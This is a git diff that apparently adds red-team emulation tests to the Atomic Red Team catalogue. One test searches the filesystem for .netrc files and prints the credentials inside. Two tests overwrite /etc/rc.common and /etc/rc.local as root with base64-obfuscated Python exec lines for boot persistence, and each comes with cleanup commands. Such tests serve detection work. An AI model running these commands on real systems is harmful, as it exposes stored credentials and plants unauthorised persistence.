-|  | Visual Basic [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Trust Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Spraying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Stop [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
+|  | Visual Basic [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Spraying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Stop [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
 |  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Downgrade System Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Remote Data Staging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
 |  |  | Implant Internal Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | [Private Keys](../../T1552.004/T1552.004.md) | [System Checks](../../T1497.001/T1497.001.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
 |  |  | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Environmental Keying [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Proc Filesystem [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](../../T1082/T1082.md) |  | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
@@ -40,7 +40,7 @@
 |  |  | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | [Indicator Blocking](../../T1562.006/T1562.006.md) |  |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |
 |  |  | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |
 |  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Indicator Removal on Host [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
-|  |  | RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |
+|  |  | [RC Scripts](../../T1037.004/T1037.004.md) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |
 |  |  | ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  |  |  |
 |  |  | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Local Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |  |  |  |  |  |  |
 |  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Masquerade Task or Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  |  |  |  |  |  |  |
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index 69c30c6a..35161db6 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -965,6 +965,20 @@ credential-access:
           type C:\Windows\Panther\Unattend\unattend.xml
         name: command_prompt
         elevation_required: true
+    - name: Find and Access Github Credentials
+      auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
+      description: 'This test looks for .netrc files (which stores github credentials
+        in clear text )and dumps its contents if found.
+
+'
+      supported_platforms:
+      - macos
+      - linux
+      executor:
+        name: bash
+        elevation_required: false
+        command: "for file in $(find / -name .netrc 2> /dev/null);do echo $file ;
+          cat $file ; done \n"
   T1555:
     technique:
       id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0
@@ -15389,6 +15403,48 @@ privilege-escalation:
 '
         elevation_required: true
         name: bash
+    - name: rc.common
+      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
+      description: 'Modify rc.common
+
+'
+      supported_platforms:
+      - linux
+      executor:
+        name: bash
+        elevation_required: true
+        command: |
+          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
+          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
+          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
+          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
+          sudo chmod +x /etc/rc.common
+        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
+          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
+          && sudo rm $origfilename;fi
+
+'
+    - name: rc.local
+      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
+      description: 'Modify rc.local
+
+'
+      supported_platforms:
+      - linux
+      executor:
+        name: bash
+        elevation_required: true
+        command: |
+          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
+          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
+          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
+          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
+          sudo chmod +x /etc/rc.local
+        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
+          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
+          sudo rm $origfilename;fi
+
+'
   T1547.007:
     technique:
       created: '2020-01-24T18:15:06.641Z'
@@ -43035,6 +43091,48 @@ persistence:
 '
         elevation_required: true
         name: bash
+    - name: rc.common
+      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
+      description: 'Modify rc.common
+
+'
+      supported_platforms:
+      - linux
+      executor:
+        name: bash
+        elevation_required: true
+        command: |
+          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
+          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
+          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
+          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
+          sudo chmod +x /etc/rc.common
+        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
+          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
+          && sudo rm $origfilename;fi
+
+'
+    - name: rc.local
+      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
+      description: 'Modify rc.local
+
+'
+      supported_platforms:
+      - linux
+      executor:
+        name: bash
+        elevation_required: true
+        command: |
+          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
+          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
+          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
+          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
+          sudo chmod +x /etc/rc.local
+        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
+          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
+          sudo rm $origfilename;fi
+
+'
   T1542.004:
     technique:
       created: '2020-10-20T00:05:48.790Z'
diff --git a/atomics/T1037.004/T1037.004.md b/atomics/T1037.004/T1037.004.md
index 994659fb..5e258a38 100644
--- a/atomics/T1037.004/T1037.004.md
+++ b/atomics/T1037.004/T1037.004.md
@@ -12,6 +12,10 @@ Several Unix-like systems have moved to Systemd and deprecated the use of RC scr
 
 - [Atomic Test #1 - rc.common](#atomic-test-1---rccommon)
 
+- [Atomic Test #2 - rc.common](#atomic-test-2---rccommon)
+
+- [Atomic Test #3 - rc.local](#atomic-test-3---rclocal)
+
 
 <br/>
 
@@ -38,4 +42,68 @@ sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /e
 
 
 
+<br/>
+<br/>
+
+## Atomic Test #2 - rc.common
+Modify rc.common
+
+**Supported Platforms:** Linux
+
+
+
+
+
+#### Attack Commands: Run with `bash`!  Elevation Required (e.g. root or admin) 
+
+
+```bash
+filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
+printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
+echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
+printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
+sudo chmod +x /etc/rc.common
+```
+
+#### Cleanup Commands:
+```bash
+origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
+```
+
+
+
+
+
+<br/>
+<br/>
+
+## Atomic Test #3 - rc.local
+Modify rc.local
+
+**Supported Platforms:** Linux
+
+
+
+
+
+#### Attack Commands: Run with `bash`!  Elevation Required (e.g. root or admin) 
+
+
+```bash
+filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
+printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
+echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
+printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
+sudo chmod +x /etc/rc.local
+```
+
+#### Cleanup Commands:
+```bash
+origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
+```
+
+
+
+
+
 <br/>
diff --git a/atomics/T1037.004/T1037.004.yaml b/atomics/T1037.004/T1037.004.yaml
index 8b664b82..6004b8b4 100644
--- a/atomics/T1037.004/T1037.004.yaml
+++ b/atomics/T1037.004/T1037.004.yaml
@@ -15,3 +15,42 @@ atomic_tests:
     elevation_required: true
     name: bash
 
+
+- name: rc.common
+  auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
+  description: |
+    Modify rc.common
+
+  supported_platforms:
+    - linux
+  executor:
+    name: bash
+    elevation_required: true 
+    command: | 
+      filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
+      printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
+      echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
+      printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
+      sudo chmod +x /etc/rc.common
+    cleanup_command: | 
+      origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi
+
+- name: rc.local
+  auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
+  description: |
+    Modify rc.local
+
+  supported_platforms:
+    - linux
+  executor:
+    name: bash
+    elevation_required: true 
+    command: | 
+      filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
+      printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
+      echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
+      printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
+      sudo chmod +x /etc/rc.local
+    cleanup_command: | 
+      origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi
+
diff --git a/atomics/T1543.002/T1543.002.md b/atomics/T1543.002/T1543.002.md
index 9ea9b5f2..c9bfec54 100644
--- a/atomics/T1543.002/T1543.002.md
+++ b/atomics/T1543.002/T1543.002.md
@@ -76,4 +76,3 @@ systemctl daemon-reload
 
 
 <br/>
-
diff --git a/atomics/T1552.001/T1552.001.md b/atomics/T1552.001/T1552.001.md
index 300e9199..33589071 100644
--- a/atomics/T1552.001/T1552.001.md
+++ b/atomics/T1552.001/T1552.001.md
@@ -16,6 +16,8 @@ In cloud and/or containerized environments, authenticated user and service accou
 
 - [Atomic Test #4 - Access unattend.xml](#atomic-test-4---access-unattendxml)
 
+- [Atomic Test #5 - Find and Access Github Credentials](#atomic-test-5---find-and-access-github-credentials)
+
 
 <br/>
 
@@ -120,4 +122,28 @@ type C:\Windows\Panther\Unattend\unattend.xml
 
 
 
+<br/>
+<br/>
+
+## Atomic Test #5 - Find and Access Github Credentials
+This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
+
+**Supported Platforms:** macOS, Linux
+
+
+
+
+
+#### Attack Commands: Run with `bash`! 
+
+
+```bash
+for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
+```
+
+
+
+
+
+
 <br/>
diff --git a/atomics/T1552.001/T1552.001.yaml b/atomics/T1552.001/T1552.001.yaml
index 5bd597e8..3bfe6e15 100644
--- a/atomics/T1552.001/T1552.001.yaml
+++ b/atomics/T1552.001/T1552.001.yaml
@@ -51,4 +51,20 @@ atomic_tests:
       type C:\Windows\Panther\unattend.xml
       type C:\Windows\Panther\Unattend\unattend.xml
     name: command_prompt
-    elevation_required: true
\ No newline at end of file
+    elevation_required: true
+
+- name: Find and Access Github Credentials
+  auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
+  description: |
+    This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
+
+  supported_platforms:
+    - macos
+    - linux
+
+  executor:
+    name: bash
+    elevation_required: false # Indicates whether command must be run with admin privileges. If the elevation_required attribute is not defined, the value is assumed to be false.
+    command: | 
+      for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done 
+      
diff --git a/atomics/used_guids.txt b/atomics/used_guids.txt
index 409c774d..e9c19f64 100644
--- a/atomics/used_guids.txt
+++ b/atomics/used_guids.txt
@@ -706,3 +706,6 @@ e2d85e66-cb66-4ed7-93b1-833fc56c9319
 0b2f9520-a17a-4671-9dba-3bd034099fff
 28104f8a-4ff1-4582-bcf6-699dce156608
 46f8dbe9-22a5-4770-8513-66119c5be63b
+c33f3d80-5f04-419b-a13a-854d1cbdbf3a
+126f71af-e1c9-405c-94ef-26a47b16c102
+da4f751a-020b-40d7-b9ff-d433b7799803